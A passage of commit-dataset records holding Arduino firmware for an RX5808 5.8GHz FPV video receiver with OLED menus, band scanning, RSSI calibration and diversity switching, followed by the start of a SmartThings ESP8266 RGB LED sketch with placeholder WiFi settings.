display.setTextSize(1);\n display.setTextColor(WHITE);\n \/\/ simple menu\n #define TV_Y_GRID 14\n #define TV_Y_OFFSET 3\n switch (state)\n {\n case STATE_SCAN: \/\/ Band Scanner\n case STATE_RSSI_SETUP: \/\/ RSSI setup\n\n \/\/ draw selected\n display.drawRect(0, 0, display.width(), display.height(), WHITE);\n display.fillRect(0, 0, display.width(), 11, WHITE);\n display.drawRect(0, 10, display.width(), 11, WHITE);\n\n if(state==STATE_SCAN)\n {\n display.setTextColor(BLACK);\n display.setCursor(30,2);\n display.print(\"BAND SCANNER\");\n display.setTextColor(WHITE);\n display.setCursor(5,12);\n display.print(\"BEST:\");\n }\n else\n {\n\n display.setTextColor(BLACK);\n display.setCursor(40,2);\n display.print(\"RSSI SETUP\");\n display.setTextColor(WHITE);\n display.setCursor(5,12);\n display.print(\"Min: Max:\");\n \/\/ prepare new setup\n rssi_min_a=0;\n rssi_max_a=400; \/\/ set to max range\n rssi_setup_min_a=400;\n rssi_setup_max_a=0;\n#ifdef USE_DIVERSITY\n rssi_min_b=0;\n rssi_max_b=400; \/\/ set to max range\n rssi_setup_min_b=400;\n rssi_setup_max_b=0;\n#endif\n rssi_setup_run=RSSI_SETUP_RUN;\n }\n\n display.drawLine(0, display.height()-11, display.width(), display.height()-11, WHITE);\n display.setCursor(2,display.height()-9);\n display.print(\"5645\");\n display.setCursor(55,display.height()-9);\n display.print(\"5800\");\n display.setCursor(display.width()-25,display.height()-9);\n display.print(\"5945\");\n \/\/ trigger new scan from begin\n channel=CHANNEL_MIN;\n writePos=SCANNER_LIST_X_POS; \/\/ reset channel list\n channelIndex = pgm_read_byte_near(channelList + channel);\n rssi_best=RSSI_MIN_VAL;\n scan_start=1;\n display.display();\n break;\n case STATE_MANUAL: \/\/ manual mode\n case STATE_SEEK: \/\/ seek mode\n display.drawRect(0, 0, display.width(), display.height(), WHITE);\n display.fillRect(0, 0, display.width(), 11, WHITE);\n display.drawRect(0, 10, display.width(), 11, WHITE);\n if (state == STATE_MANUAL)\n {\n display.setTextColor(BLACK);\n display.setCursor(35,2);\n display.print(\"MANUAL MODE\");\n }\n else if(state == STATE_SEEK)\n {\n display.setCursor(25,2);\n display.setTextColor(BLACK);\n display.print(\"AUTO SEEK MODE\");\n }\n display.setTextColor(WHITE);\n\n display.drawLine(0, 32, display.width(), 32, WHITE);\n display.setCursor(5,12);\n display.drawLine(97,11,97,20,WHITE);\n display.print(\"BAND:\");\n for(int i=0;i<8;i++) {\n display.setCursor(15*i+8,23);\n display.print((char) (i+'1'));\n }\n display.drawLine(0, 36, display.width(), 36, WHITE);\n\n\n display.drawLine(0, display.height()-11, display.width(), display.height()-11, WHITE);\n display.setCursor(2,display.height()-9);\n display.print(\"5645\");\n display.setCursor(55,display.height()-9);\n display.print(\"5800\");\n display.setCursor(display.width()-25,display.height()-9);\n display.print(\"5945\");\n first_channel_marker=1;\n update_frequency_view=1;\n force_seek=1;\n break;\n#ifdef USE_DIVERSITY\n case STATE_DIVERSITY:\n \/\/ diversity menu is below this is just a place holder.\n break;\n#endif\n case STATE_SAVE:\n EEPROM.write(EEPROM_ADR_TUNE,channelIndex);\n EEPROM.write(EEPROM_ADR_STATE,state_last_used);\n#ifdef USE_DIVERSITY\n EEPROM.write(EEPROM_ADR_DIVERSITY,diversity_mode);\n#endif\n\n display.drawRect(0, 0, display.width(), display.height(), WHITE);\n display.fillRect(0, 0, display.width(), 11, WHITE);\n display.drawLine(0, 10, display.width(), 10, WHITE);\n display.setTextColor(BLACK);\n display.setCursor(35,2);\n display.print(\"SAVE SETTINGS\");\n display.setTextColor(WHITE);\n display.setCursor(5,8*1+4);\n display.print(\"MODE:\");\n display.setCursor(38,8*1+4);\n switch (state_last_used)\n {\n case STATE_SCAN: \/\/ Band Scanner\n display.print(\"BAND SCANNER\");\n break;\n case STATE_MANUAL: \/\/ manual mode\n display.print(\"MANUAL\");\n break;\n case STATE_SEEK: \/\/ seek mode\n display.print(\"AUTO SEEK\");\n break;\n }\n\n display.setCursor(5,8*2+4);\n display.print(\"BAND:\");\n display.setCursor(38,8*2+4);\n \/\/ print band\n if(channelIndex > 31)\n {\n display.print(\"C\/Race\");\n }\n else if(channelIndex > 23)\n {\n display.print(\"F\/Airwave\");\n }\n else if (channelIndex > 15)\n {\n display.print(\"E\");\n }\n else if (channelIndex > 7)\n {\n display.print(\"B\");\n }\n else\n {\n display.print(\"A\");\n }\n\n display.setCursor(5,8*3+4);\n display.print(\"CHAN:\");\n display.setCursor(38,8*3+4);\n uint8_t active_channel = channelIndex%CHANNEL_BAND_SIZE+1; \/\/ get channel inside band\n display.print(active_channel,DEC);\n display.setCursor(5,8*4+4);\n display.print(\"FREQ: GHz\");\n display.setCursor(38,8*4+4);\n display.print(pgm_read_word_near(channelFreqTable + channelIndex));\n display.setCursor(35,8*5+4);\n display.print(\"-- SAVED --\");\n display.display();\n uint8_t loop=0;\n for (loop=0;loop<5;loop++)\n {\n beep(100); \/\/ beep\n delay(100);\n }\n delay(1000);\n display.setCursor(5,8*6+4);\n display.print(\"HOLD MODE RSSI SETUP\");\n display.display();\n delay(1000);\n delay(1000);\n if (digitalRead(buttonMode) == LOW) \/\/ to RSSI setup\n {\n display.setCursor(5,8*6+4);\n\n display.setTextColor(WHITE,BLACK);\n display.print(\"ENTERING RSSI SETUP \");\n display.display();\n uint8_t loop=0;\n for (loop=0;loop<10;loop++)\n {\n #define RSSI_SETUP_BEEP 25\n beep(RSSI_SETUP_BEEP); \/\/ beep & debounce\n delay(RSSI_SETUP_BEEP); \/\/ debounce\n }\n state=STATE_RSSI_SETUP;\n while(digitalRead(buttonMode) == LOW)\n {\n \/\/ wait for release\n }\n delay(KEY_DEBOUNCE); \/\/ debounce\n }\n else\n {\n delay(1000);\n state=state_last_used; \/\/ return to saved function\n }\n force_menu_redraw=1; \/\/ we change the state twice, must force redraw of menu\n\n \/\/ selection by inverted box\n break;\n } \/\/ end switch\n\n display.display();\n last_state=state;\n }\n \/*************************************\/\n \/* Processing depending of state *\/\n \/*************************************\/\n\n#ifdef USE_DIVERSITY\n if(state == STATE_DIVERSITY) {\n \/\/ simple menu\n char menu_id=diversity_mode;\n uint8_t in_menu=1;\n do{\n display.clearDisplay();\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.drawRect(0, 0, display.width(), display.height(), WHITE);\n display.fillRect(0, 0, display.width(), 11, WHITE);\n display.drawLine(0, 10, display.width(), 10, WHITE);\n display.setTextColor(BLACK);\n display.setCursor(40,2);\n display.print(\"DIVERSITY\");\n\n \/\/selected\n display.fillRect(0, 10*menu_id+12, display.width(), 11, WHITE);\n\n display.setTextColor(menu_id == useReceiverAuto ? BLACK : WHITE);\n display.setCursor(5,11*1+2);\n display.print(\"AUTO\");\n\n display.setTextColor(menu_id == useReceiverA ? BLACK : WHITE);\n display.setCursor(5,11*2+2);\n display.print(\"RECEIVER A\");\n display.setTextColor(menu_id == useReceiverB ? BLACK : WHITE);\n display.setCursor(5,11*3+2);\n display.print(\"RECEIVER B\");\n\n \/\/ RSSI Strength\n display.setTextColor(WHITE);\n display.drawRect(0, display.height()-21, display.width(), 11, WHITE);\n display.setCursor(5,display.height()-19);\n display.print(\"A:\");\n display.setCursor(5,display.height()-9);\n display.print(\"B:\");\n display.display();\n switch (menu_id)\n {\n case useReceiverAuto:\n break;\n case useReceiverA:\n digitalWrite(receiverA_led, HIGH);\n digitalWrite(receiverB_led, LOW);\n break;\n case useReceiverB:\n digitalWrite(receiverA_led, LOW);\n digitalWrite(receiverB_led, HIGH);\n break;\n }\n do\n {\n delay(10); \/\/ timeout delay\n \/\/ show signal strength\n wait_rssi_ready();\n if(menu_id == useReceiverAuto) {\n readRSSI(); \/\/ update LED\n }\n \/\/ read rssi A\n rssi = readRSSI(useReceiverA);\n #define RSSI_BAR_SIZE 108\n rssi_scaled=map(rssi, 1, 100, 1, RSSI_BAR_SIZE);\n\n display.fillRect(18 + rssi_scaled, display.height()-20, (RSSI_BAR_SIZE-rssi_scaled), 7, BLACK);\n display.fillRect(18, display.height()-20, rssi_scaled, 7, WHITE);\n\n\n \/\/ read rssi B\n rssi = readRSSI(useReceiverB);\n rssi_scaled=map(rssi, 1, 100, 1, RSSI_BAR_SIZE);\n display.fillRect(18 + rssi_scaled, display.height()-20, (RSSI_BAR_SIZE-rssi_scaled), 7, BLACK);\n display.fillRect(18, display.height()-9, rssi_scaled, 7, WHITE);\n display.display();\n }\n while((digitalRead(buttonMode) == HIGH) && (digitalRead(buttonSeek) == HIGH) && (digitalRead(buttonDown) == HIGH)); \/\/ wait for next mode or time out\n\n if(digitalRead(buttonMode) == LOW) \/\/ channel UP\n {\n diversity_mode = menu_id;\n in_menu = 0; \/\/ exit menu\n }\n else if(digitalRead(buttonSeek) == LOW) {\n menu_id++;\n }\n else if(digitalRead(buttonDown) == LOW) {\n menu_id--;\n }\n\n if(menu_id > useReceiverB) {\n menu_id = 0;\n }\n if(menu_id < 0) {\n menu_id = useReceiverB;\n }\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n }\n while(in_menu);\n\n state=state_last_used;\n }\n#endif\n \/*****************************************\/\n \/* Processing MANUAL MODE \/ SEEK MODE *\/\n \/*****************************************\/\n if(state == STATE_MANUAL || state == STATE_SEEK)\n {\n if(state == STATE_MANUAL) \/\/ MANUAL MODE\n {\n \/\/ handling of keys\n if( digitalRead(buttonSeek) == LOW) \/\/ channel UP\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n channelIndex++;\n if (channelIndex > CHANNEL_MAX_INDEX)\n {\n channelIndex = CHANNEL_MIN_INDEX;\n }\n update_frequency_view=1;\n }\n if( digitalRead(buttonDown) == LOW) \/\/ channel DOWN\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n channelIndex--;\n if (channelIndex > CHANNEL_MAX_INDEX) \/\/ negative overflow\n {\n channelIndex = CHANNEL_MAX_INDEX;\n }\n update_frequency_view=1;\n }\n }\n \/\/ display refresh handler\n if(update_frequency_view) \/\/ only updated on changes\n {\n display.setTextColor(WHITE,BLACK);\n display.setCursor(36,12);\n \/\/ show current used channel of bank\n if(channelIndex > 31)\n {\n display.print(\"C\/Race \");\n }\n else if(channelIndex > 23)\n {\n display.print(\"F\/Airwave\");\n }\n else if (channelIndex > 15)\n {\n display.print(\"E \");\n }\n else if (channelIndex > 7)\n {\n display.print(\"B \");\n }\n else\n {\n display.print(\"A \");\n }\n\n\n uint8_t active_channel = channelIndex%CHANNEL_BAND_SIZE; \/\/ get channel inside band\n for(int i=0;i<8;i++) {\n display.fillRect(15*i+4,21,14,11,i==active_channel? WHITE:BLACK);\n display.setTextColor(i==active_channel? BLACK:WHITE);\n display.setCursor(15*i+8,23);\n display.print((char) (i+'1'));\n }\n\n first_channel_marker=0;\n last_active_channel=active_channel;\n \/\/ show frequence\n display.setCursor(101,12);\n display.setTextColor(WHITE,BLACK);\n display.print(pgm_read_word_near(channelFreqTable + channelIndex));\n }\n \/\/ show signal strength\n wait_rssi_ready();\n rssi = readRSSI();\n rssi_scaled=map(rssi, 1, 100, 1, display.width()-3);\n\n display.fillRect(1+rssi_scaled, 33, display.width()-3-rssi_scaled, 3, BLACK);\n display.fillRect(1, 33, rssi_scaled, 3, WHITE);\n\n channel=channel_from_index(channelIndex); \/\/ get 0...40 index depending of current channel\n rssi_scaled=map(rssi, 1, 100, 1, 14);\n\n hight = (display.height()-12-rssi_scaled);\n display.fillRect((channel*3)+4,display.height()-12-14,3,14-rssi_scaled,BLACK);\n display.fillRect((channel*3)+4,hight,3,rssi_scaled,WHITE);\n if(channel < CHANNEL_MAX_INDEX)\n {\n last_maker_pos=channel;\n }\n else\n {\n \/\/ No action on last position to keep frame intact\n }\n \/\/ handling for seek mode after screen and RSSI has been fully processed\n if(state == STATE_SEEK) \/\/\n { \/\/ SEEK MODE\n if(!seek_found) \/\/ search if not found\n {\n if ((!force_seek) && (rssi > RSSI_SEEK_TRESHOLD)) \/\/ check for found channel\n {\n seek_found=1;\n \/\/ beep twice as notice of lock\n beep(100);\n delay(100);\n beep(100);\n }\n else\n { \/\/ seeking itself\n force_seek=0;\n \/\/ next channel\n if (channel < CHANNEL_MAX)\n {\n channel++;\n } else {\n channel=CHANNEL_MIN;\n }\n channelIndex = pgm_read_byte_near(channelList + channel);\n }\n }\n else\n { \/\/ seek was successful\n display.setTextColor(BLACK,WHITE);\n display.setCursor(25,2);\n display.print(\"AUTO MODE LOCK\");\n if (digitalRead(buttonSeek) == LOW) \/\/ restart seek if key pressed\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n force_seek=1;\n seek_found=0;\n\n display.setCursor(25,2);\n display.print(\"AUTO SEEK MODE\");\n }\n }\n }\n display.display();\n }\n \/****************************\/\n \/* Processing SCAN MODE *\/\n \/****************************\/\n else if (state == STATE_SCAN || state == STATE_RSSI_SETUP)\n {\n \/\/ force tune on new scan start to get right RSSI value\n if(scan_start)\n {\n scan_start=0;\n setChannelModule(channelIndex);\n last_channel_index=channelIndex;\n \/\/ keep time of tune to make sure that RSSI is stable when required\n time_of_tune=millis();\n }\n \/\/ channel marker\n if(channel < CHANNEL_MAX_INDEX)\n {\n last_maker_pos=channel;\n }\n else\n {\n \/\/ No action on last position to keep frame intact\n }\n \/\/ print bar for spectrum\n wait_rssi_ready();\n \/\/ value must be ready\n rssi = readRSSI();\n rssi_scaled=map(rssi, 1, 100, 1, 30);\n hight = (display.height()-12-rssi_scaled);\n display.fillRect((channel*3)+4,display.height()-12-30,3,30-rssi_scaled,BLACK);\n display.fillRect((channel*3)+4,hight,3,rssi_scaled,WHITE);\n if(state == STATE_SCAN)\n {\n if (rssi > RSSI_SEEK_TRESHOLD)\n {\n if(rssi_best < rssi) {\n rssi_best = rssi;\n display.setTextColor(WHITE,BLACK);\n display.setCursor(36,12);\n display.print(pgm_read_byte_near(channelNames + channelIndex), HEX);\n display.setCursor(52,12);\n display.print(pgm_read_word_near(channelFreqTable + channelIndex));\n\n }\n }\n }\n \/\/ next channel\n if (channel < CHANNEL_MAX)\n {\n channel++;\n }\n else\n {\n channel=CHANNEL_MIN;\n writePos=SCANNER_LIST_X_POS; \/\/ reset channel list\n if(state == STATE_RSSI_SETUP)\n {\n if(!rssi_setup_run--)\n {\n \/\/ setup done\n rssi_min_a=rssi_setup_min_a;\n rssi_max_a=rssi_setup_max_a;\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MIN_A_L,(rssi_min_a & 0xff));\n EEPROM.write(EEPROM_ADR_RSSI_MIN_A_H,(rssi_min_a >> 8));\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MAX_A_L,(rssi_max_a & 0xff));\n EEPROM.write(EEPROM_ADR_RSSI_MAX_A_H,(rssi_max_a >> 8));\n\n\n#ifdef USE_DIVERSITY\n rssi_min_b=rssi_setup_min_b;\n rssi_max_b=rssi_setup_max_b;\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MIN_B_L,(rssi_min_b & 0xff));\n EEPROM.write(EEPROM_ADR_RSSI_MIN_B_H,(rssi_min_b >> 8));\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MAX_B_L,(rssi_max_b & 0xff));\n EEPROM.write(EEPROM_ADR_RSSI_MAX_B_H,(rssi_max_b >> 8));\n#endif\n state=EEPROM.read(EEPROM_ADR_STATE);\n beep(1000);\n }\n }\n }\n \/\/ new scan possible by press scan\n if (digitalRead(buttonSeek) == LOW) \/\/ force new full new scan\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n last_state=255; \/\/ force redraw by fake state change ;-)\n channel=CHANNEL_MIN;\n writePos=SCANNER_LIST_X_POS; \/\/ reset channel list\n scan_start=1;\n rssi_best=RSSI_MIN_VAL;\n }\n \/\/ update index after channel change\n channelIndex = pgm_read_byte_near(channelList + channel);\n display.display();\n }\n\n \/*****************************\/\n \/* General house keeping *\/\n \/*****************************\/\n if(last_channel_index != channelIndex) \/\/ tune channel on demand\n {\n setChannelModule(channelIndex);\n last_channel_index=channelIndex;\n \/\/ keep time of tune to make sure that RSSI is stable when required\n time_of_tune=millis();\n \/\/ give 3 beeps when tuned to give feedback of correct start\n if(first_tune)\n {\n first_tune=0;\n #define UP_BEEP 100\n beep(UP_BEEP);\n delay(UP_BEEP);\n beep(UP_BEEP);\n delay(UP_BEEP);\n beep(UP_BEEP);\n }\n }\n \/\/rssi = readRSSI();\n\n}\n\n\/*###########################################################################*\/\n\/*******************\/\n\/* SUB ROUTINES *\/\n\/*******************\/\n\nvoid beep(uint16_t time)\n{\n digitalWrite(led, LOW);\n digitalWrite(buzzer, LOW);\n delay(time);\n digitalWrite(led, HIGH);\n digitalWrite(buzzer, HIGH);\n}\n\nuint8_t channel_from_index(uint8_t channelIndex)\n{\n uint8_t loop=0;\n uint8_t channel=0;\n for (loop=0;loop<=CHANNEL_MAX;loop++)\n {\n if(pgm_read_byte_near(channelList + loop) == channelIndex)\n {\n channel=loop;\n break;\n }\n }\n return (channel);\n}\n\nvoid wait_rssi_ready()\n{\n \/\/ CHECK FOR MINIMUM DELAY\n \/\/ check if RSSI is stable after tune by checking the time\n uint16_t tune_time = millis()-time_of_tune;\n \/\/ module need >20ms to tune.\n \/\/ 25 ms will to a 40 channel scan in 1 second.\n #define MIN_TUNE_TIME 25\n if(tune_time < MIN_TUNE_TIME)\n {\n \/\/ wait until tune time is full filled\n delay(MIN_TUNE_TIME-tune_time);\n }\n}\n\nuint16_t readRSSI()\n{\n#ifdef USE_DIVERSITY\n return readRSSI(-1);\n}\nuint16_t readRSSI(uint8_t receiver)\n{\n#endif\n uint16_t rssi = 0;\n uint16_t rssiA = 0;\n\n#ifdef USE_DIVERSITY\n uint16_t rssiB = 0;\n#endif\n for (uint8_t i = 0; i < 10; i++)\n {\n rssiA += analogRead(rssiPinA);\n\n#ifdef USE_DIVERSITY\n rssiB += analogRead(rssiPinB);\n#endif\n }\n rssiA = rssiA\/10; \/\/ average of 10 readings\n\n#ifdef USE_DIVERSITY\n rssiB = rssiB\/10; \/\/ average of 10 readings\n \/\/ choosing which receiver RSSI to use.. do not change LED\n if(receiver == useReceiverA)\n {\n rssi=rssiA;\n }\n else if(receiver == useReceiverB)\n {\n rssi=rssiB;\n }\n else{\n switch(diversity_mode)\n {\n case useReceiverAuto:\n \/\/ select receiver\n if((int)abs((float)(((float)rssiA - (float)rssiB) \/ (float)rssiB) * 100.0) >= DIVERSITY_CUTOVER)\n {\n if(rssiA > rssiB)\n {\n receiver=useReceiverA;\n setReceiver(useReceiverA);\n }\n else\n {\n receiver=useReceiverB;\n setReceiver(useReceiverB);\n }\n }\n else {\n if(digitalRead(receiverA_led) == HIGH) {\n receiver=useReceiverA;\n setReceiver(useReceiverA);\n }\n else {\n receiver=useReceiverB;\n setReceiver(useReceiverB);\n }\n }\n break;\n case useReceiverA:\n receiver=useReceiverA;\n setReceiver(useReceiverA);\n break;\n case useReceiverB:\n receiver=useReceiverB;\n setReceiver(useReceiverB);\n break;\n }\n }\n#else\nrssi=rssiA;\n#endif\n\n \/\/ special case for RSSI setup\n if(state==STATE_RSSI_SETUP)\n { \/\/ RSSI setup\n if(rssiA < rssi_setup_min_a)\n {\n rssi_setup_min_a=rssiA;\n\n display.setCursor(30,12);\n display.setTextColor(WHITE,BLACK);\n display.print( rssi_setup_min_a , DEC);\n }\n if(rssiA > rssi_setup_max_a)\n {\n rssi_setup_max_a=rssiA;\n\n display.setCursor(85,12);\n display.setTextColor(WHITE,BLACK);\n display.print( rssi_setup_max_a , DEC);\n }\n\n#ifdef USE_DIVERSITY\n if(rssiB < rssi_setup_min_b)\n {\n rssi_setup_min_b=rssiB;\n }\n if(rssiB > rssi_setup_max_b)\n {\n rssi_setup_max_b=rssiB;\n }\n#endif\n }\n#ifdef USE_DIVERSITY\n if(receiver == useReceiverA || state==STATE_RSSI_SETUP)\n {\n#endif\n rssi = constrain(rssiA, rssi_min_a, rssi_max_a); \/\/original 90---250\n rssi=rssi-rssi_min_a; \/\/ set zero point (value 0...160)\n rssi = map(rssi, 0, rssi_max_a-rssi_min_a , 1, 100); \/\/ scale from 1..100%\n#ifdef USE_DIVERSITY\n }\n else {\n rssi = constrain(rssiB, rssi_min_b, rssi_max_b); \/\/original 90---250\n rssi=rssi-rssi_min_b; \/\/ set zero point (value 0...160)\n rssi = map(rssi, 0, rssi_max_a-rssi_min_b , 1, 100); \/\/ scale from 1..100%\n }\n#endif\n return (rssi);\n}\n#ifdef USE_DIVERSITY\nvoid setReceiver(uint8_t receiver) {\n if(receiver == useReceiverA)\n {\n digitalWrite(receiverA_led, HIGH);\n digitalWrite(receiverB_led, LOW);\n }\n else\n {\n digitalWrite(receiverB_led, HIGH);\n digitalWrite(receiverA_led, LOW);\n }\n}\n#endif\n\n\/\/ Private function: from http:\/\/arduino.cc\/playground\/Code\/AvailableMemory\nint freeRam () {\n extern int __heap_start, *__brkval;\n int v;\n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval);\n}\n\nvoid setChannelModule(uint8_t channel)\n{\n uint8_t i;\n uint16_t channelData;\n\n \/\/channelData = pgm_read_word(&channelTable[channel]);\n \/\/channelData = channelTable[channel];\n channelData = pgm_read_word_near(channelTable + channel);\n\n \/\/ bit bash out 25 bits of data\n \/\/ Order: A0-3, !R\/W, D0-D19\n \/\/ A0=0, A1=0, A2=0, A3=1, RW=0, D0-19=0\n SERIAL_ENABLE_HIGH();\n delayMicroseconds(1);\n \/\/delay(2);\n SERIAL_ENABLE_LOW();\n\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT1();\n\n SERIAL_SENDBIT0();\n\n \/\/ remaining zeros\n for (i = 20; i > 0; i--)\n SERIAL_SENDBIT0();\n\n \/\/ Clock the data in\n SERIAL_ENABLE_HIGH();\n \/\/delay(2);\n delayMicroseconds(1);\n SERIAL_ENABLE_LOW();\n\n \/\/ Second is the channel data from the lookup table\n \/\/ 20 bytes of register data are sent, but the MSB 4 bits are zeros\n \/\/ register address = 0x1, write, data0-15=channelData data15-19=0x0\n SERIAL_ENABLE_HIGH();\n SERIAL_ENABLE_LOW();\n\n \/\/ Register 0x1\n SERIAL_SENDBIT1();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n\n \/\/ Write to register\n SERIAL_SENDBIT1();\n\n \/\/ D0-D15\n \/\/ note: loop runs backwards as more efficent on AVR\n for (i = 16; i > 0; i--)\n {\n \/\/ Is bit high or low?\n if (channelData & 0x1)\n {\n SERIAL_SENDBIT1();\n }\n else\n {\n SERIAL_SENDBIT0();\n }\n\n \/\/ Shift bits along to check the next one\n channelData >>= 1;\n }\n\n \/\/ Remaining D16-D19\n for (i = 4; i > 0; i--)\n SERIAL_SENDBIT0();\n\n \/\/ Finished clocking data in\n SERIAL_ENABLE_HIGH();\n delayMicroseconds(1);\n \/\/delay(2);\n\n digitalWrite(slaveSelectPin, LOW);\n digitalWrite(spiClockPin, LOW);\n digitalWrite(spiDataPin, LOW);\n}\n\n\nvoid SERIAL_SENDBIT1()\n{\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n\n digitalWrite(spiDataPin, HIGH);\n delayMicroseconds(1);\n digitalWrite(spiClockPin, HIGH);\n delayMicroseconds(1);\n\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n}\n\nvoid SERIAL_SENDBIT0()\n{\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n\n digitalWrite(spiDataPin, LOW);\n delayMicroseconds(1);\n digitalWrite(spiClockPin, HIGH);\n delayMicroseconds(1);\n\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n}\n\nvoid SERIAL_ENABLE_LOW()\n{\n delayMicroseconds(1);\n digitalWrite(slaveSelectPin, LOW);\n delayMicroseconds(1);\n}\n\nvoid SERIAL_ENABLE_HIGH()\n{\n delayMicroseconds(1);\n digitalWrite(slaveSelectPin, HIGH);\n delayMicroseconds(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/rx5808-pro-diversity-oled\/rx5808-pro-diversity-oled.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fc28b1eab1b1e29459ff90e9c76697e11077d179","subject":"Create ST_Anything_RGB_ESP8266WiFi.ino","message":"Create ST_Anything_RGB_ESP8266WiFi.ino","repos":"vseven\/SmartThings_VSeven","old_file":"Modified_ST_Anything_Libraries\/ST_Anything_RGB_ESP8266WiFi.ino","new_file":"Modified_ST_Anything_Libraries\/ST_Anything_RGB_ESP8266WiFi.ino","new_contents":"\/\/******************************************************************************************\n\/\/ File: ST_Anything_RGB_ESP8266WiFi.ino\n\/\/ Authors: Dan G Ogorchock & Daniel J Ogorchock (Father and Son)\n\/\/\n\/\/ Summary: This Arduino Sketch, along with the ST_Anything library and the revised SmartThings \n\/\/ library, demonstrates the ability of one NodeMCU ESP8266 to \n\/\/ implement a multi input\/output custom device for integration into SmartThings.\n\/\/ The ST_Anything library takes care of all of the work to schedule device updates\n\/\/ as well as all communications with the NodeMCU ESP8266's WiFi.\n\/\/\n\/\/ ST_Anything_Multiples implements the following ST Capabilities as a demo of what is possible with a single NodeMCU ESP8266\n\n\/\/ - 1 x RGB LED\/Strip (used to set the color of RGB LED strips)\n\/\/ \n\/\/ Change History:\n\/\/\n\/\/ Date Who What\n\/\/ ---- --- ----\n\/\/ 2015-01-03 Dan & Daniel Original Creation\n\/\/ 2017-02-12 Dan Ogorchock Revised to use the new SMartThings v2.0 library\n\/\/ 2017-04-17 Dan Ogorchock New example showing use of Multiple device of same ST Capability\n\/\/ used with new Parent\/Child Device Handlers (i.e. Composite DH)\n\/\/ 2017-05-25 Dan Ogorchock Revised example sketch, taking into account limitations of NodeMCU GPIO pins\n\/\/ 2017-10-08 Allan (vseven) Modified for a single RGB LED for Synthsis\n\/\/\n\/\/******************************************************************************************\n\/\/******************************************************************************************\n\/\/ SmartThings Library for ESP8266WiFi\n\/\/******************************************************************************************\n#include <SmartThingsESP8266WiFi.h>\n\n\/\/******************************************************************************************\n\/\/ ST_Anything Library \n\/\/******************************************************************************************\n#include <Constants.h> \/\/Constants.h is designed to be modified by the end user to adjust behavior of the ST_Anything library\n#include <Device.h> \/\/Generic Device Class, inherited by Sensor and Executor classes\n#include <Sensor.h> \/\/Generic Sensor Class, typically provides data to ST Cloud (e.g. Temperature, Motion, etc...)\n#include <Executor.h> \/\/Generic Executor Class, typically receives data from ST Cloud (e.g. Switch)\n#include <InterruptSensor.h> \/\/Generic Interrupt \"Sensor\" Class, waits for change of state on digital input \n#include <PollingSensor.h> \/\/Generic Polling \"Sensor\" Class, polls Arduino pins periodically\n#include <Everything.h> \/\/Master Brain of ST_Anything library that ties everything together and performs ST Shield communications\n\n#include <EX_RGB_Dim.h> \/\/Implements an Executor (EX) for a RGB LED or strip with PWM using 3 digital output pins\n\n\/\/*************************************************************************************************\n\/\/NodeMCU v1.0 ESP8266-12e Pin Definitions (makes it much easier as these match the board markings)\n\/\/*************************************************************************************************\n\/\/#define LED_BUILTIN 16\n\/\/#define BUILTIN_LED 16\n\/\/\n\/\/#define D0 16 \/\/no internal pullup resistor\n\/\/#define D1 5\n\/\/#define D2 4\n\/\/#define D3 0 \/\/must not be pulled low during power on\/reset, toggles value during boot\n\/\/#define D4 2 \/\/must not be pulled low during power on\/reset, toggles value during boot\n\/\/#define D5 14\n\/\/#define D6 12\n\/\/#define D7 13\n\/\/#define D8 15 \/\/must not be pulled high during power on\/reset\n\n\/\/******************************************************************************************\n\/\/Define which Arduino Pins will be used for each device\n\/\/******************************************************************************************\n#define PIN_RGB1_Red D5 \/\/ SmartThings Capability \"Color Control\"\n#define PIN_RGB1_Green D6 \/\/ SmartThings Capability \"Color Control\"\n#define PIN_RGB1_Blue D7 \/\/ SmartThings Capability \"Color Control\"\n\n\/\/******************************************************************************************\n\/\/ESP8266 WiFi Information\n\/\/******************************************************************************************\nString str_ssid = \"yourSSIDhere\"; \/\/ <---You must edit this line!\nString str_password = \"yourWiFiPasswordhere\"; \/\/ <---You must edit this line!\nIPAddress ip(192, 168, 1, 227); \/\/Device IP Address \/\/ <---You must edit this line!\nIPAddress gateway(192, 168, 1, 1); \/\/Router gateway \/\/ <---You must edit this line!\nIPAddress subnet(255, 255, 255, 0); \/\/LAN subnet mask \/\/ <---You must edit this line!\nIPAddress dnsserver(192, 168, 1, 1); \/\/DNS server \/\/ <---You must edit this line!\nconst unsigned int serverPort = 8090; \/\/ port to run the http server on\n\n\/\/ Smartthings Hub Information\nIPAddress hubIp(192, 168, 1, 149); \/\/ smartthings hub ip \/\/ <---You must edit this line!\nconst unsigned int hubPort = 39500; \/\/ smartthings hub port\n\n\/\/******************************************************************************************\n\/\/st::Everything::callOnMsgSend() optional callback routine. This is a sniffer to monitor \n\/\/ data being sent to ST. This allows a user to act on data changes locally within the \n\/\/ Arduino sktech.\n\/\/******************************************************************************************\nvoid callback(const String &msg)\n{\n\/\/ Serial.print(F(\"ST_Anything Callback: Sniffed data = \"));\n\/\/ Serial.println(msg);\n \n \/\/TODO: Add local logic here to take action when a device's value\/state is changed\n \n \/\/Masquerade as the ThingShield to send data to the Arduino, as if from the ST Cloud (uncomment and edit following line)\n \/\/st::receiveSmartString(\"Put your command here!\"); \/\/use same strings that the Device Handler would send\n}\n\n\/\/******************************************************************************************\n\/\/Arduino Setup() 